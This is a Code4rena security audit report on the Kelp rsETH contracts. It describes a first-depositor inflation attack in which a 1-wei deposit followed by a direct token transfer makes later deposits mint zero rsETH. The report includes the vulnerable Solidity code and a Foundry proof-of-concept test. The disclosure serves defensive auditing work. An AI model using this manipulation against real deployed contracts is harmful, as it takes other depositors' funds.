First depositAsset could ruin the rsETH price calculation.

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/c5fdc2e62c5e1d78769f44d6e34a6fb9e40c00f0/src/LRTOracle.sol#L52-L79
https://github.com/code-423n4/2023-11-kelp/blob/c5fdc2e62c5e1d78769f44d6e34a6fb9e40c00f0/src/LRTDepositPool.sol#L119-L144

Vulnerability details

Summary

First user deposit followed by direct transfer to any contract that is used to calcualte the price of rsETH will ruin the price of rsETH.

Vulnerability details

After the protocol is deployed first user can call depositAsset with 1 wei of depositAmount.

In depositAsset we will get the amount of rsETH to be minted, calcualted from getRsETHAmountToMint in _mintRsETH.

function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // checks
        if (depositAmount == 0) {
            revert InvalidAmount();
        }
        if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
        }

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

        // interactions
        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);.

function _mintRsETH(address _asset, uint256 _amount) private returns (uint256 rsethAmountToMint) {
        (rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount);

        address rsethToken = lrtConfig.rsETH();
        // mint rseth for user
        IRSETH(rsethToken).mint(msg.sender, rsethAmountToMint);
    }

(rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount);.

function getRsETHAmountToMint(
        address asset,
        uint256 amount
    )
        public
        view
        override
        returns (uint256 rsethAmountToMint)
    {
        // setup oracle contract
        address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
        ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);

        // calculate rseth amount to mint based on asset amount and asset exchange rate
        rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
    }

rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();.

Now let's take a look how rsETH price is calculated in LRTOracle at first deposit:

function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }

We can see that when the rsETH total supply is zero (first deposit, no rsETH minted yet). rsETH price is equal to 1 ether (1e18).

This is data from chainlink price feed for rETH / ETH at address 0x536218f9E9Eb48863970252233c8F271f554C2d0 copied from latestAnswer at 12.11.2023 14:45 GMT +1.

1091400000000000000 int256

We come back here and we can see the amount of rsETH minted from this calculation:

rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

amount = 1

lrtOracle.getAssetPrice(asset) = 1_091_400_000_000_000_000

lrtOracle.getRSETHPrice() = 1_000_000_000_000_000_000

Let's calculate the amount of rsETH to be minted using solidity. We will use remix for simplicty.

Copy and paste is in remix and see that it returns 1.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

contract Poc {

    uint256 amount = 1;
    uint256 assetPrice = 1_091_400_000_000_000_000;
    uint256 rsETHPrice = 1_000_000_000_000_000_000;

    function calculate() public view returns(uint256) {
        return (amount * assetPrice) / rsETHPrice;
    }

}

Calculations return 1 it means that 1 wei of rsETH will be minted.

Now malcious user can directly transfer as little as 1 gwei (1000000000) to LRTDepositPool address.

If next user would like to deposit let's say 10 ether to the pool he would receive 0 rsETH due to calculation in getRSETHPrice in LRTOracle.

function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }

Direct tranfer does not mint any rsETH so the price will be inflated.

Now the rsEthSupply is equal to 1, totalAssetAmt = 1000000000 + 1 (1000000000 direct transfer, 1 wei after deposit), so toalETHInPool = 1000000001 * assetER (which is in 18 decimals). This inflated rsETH price will round down to zero even for VERY big deposits.

PoC

contract LRTDepositPoolZeroMints is LRTDepositPoolTest {
    address public rETHAddress;

    function setUp() public override {
        super.setUp();

        // initialize LRTDepositPool
        lrtDepositPool.initialize(address(lrtConfig));

        rETHAddress = address(rETH);

        // add manager role within LRTConfig
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(this));
        vm.stopPrank();
    }

    function getAssetPrice(address) public pure returns (uint256) {
        return 1e18;
    }

    // mock getRSETHPrice
    function getRSETHPrice() public view returns (uint256) {
        uint256 rsETHSupply = rseth.totalSupply();
        if (rsETHSupply == 0) {
            return 1e18;
        }

        uint256 assetBalanceOfThePool = rETH.balanceOf(address(lrtDepositPool));

        return
            (assetBalanceOfThePool * getAssetPrice(rETHAddress)) / rsETHSupply;
    }

    function test_manipulateOracle() external {
        vm.startPrank(alice);

        // rETH used here because mock oracle returns 1e18 price anyway
        rETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(rETHAddress, 1);

        // transfer directly 1 gwei to deposit pool
        rETH.transfer(address(lrtDepositPool), 1 * 10e9);

        vm.stopPrank();

        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(rETHAddress, 10 ether);
        vm.stopPrank();

        uint256 bobRSETHBalance = rseth.balanceOf(address(bob));
        assertEq(bobRSETHBalance, 0);
    }
}

I set LRTDepositPoolZeroMints as oracle for simplicity and modified the getRSETHPrice function to better ilustrate the reality of the calculation in protocol. Also I used only the balance of the pool for simplicty because nodes balances are still zero.

Test passed so user received zero rsETH tokens for 10 ether deposit of rETH.

Impact

Loss of funds on deposit.

Tools used

VScode, Manual Review, Foundry

Recommendations

Change the rsETH price calculation method to make sure that direct transfers of tokens will not affect the price of rsETH.

Assessed type

Math

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #42

[c4-judge]

fatherGoose1 marked the issue as satisfactory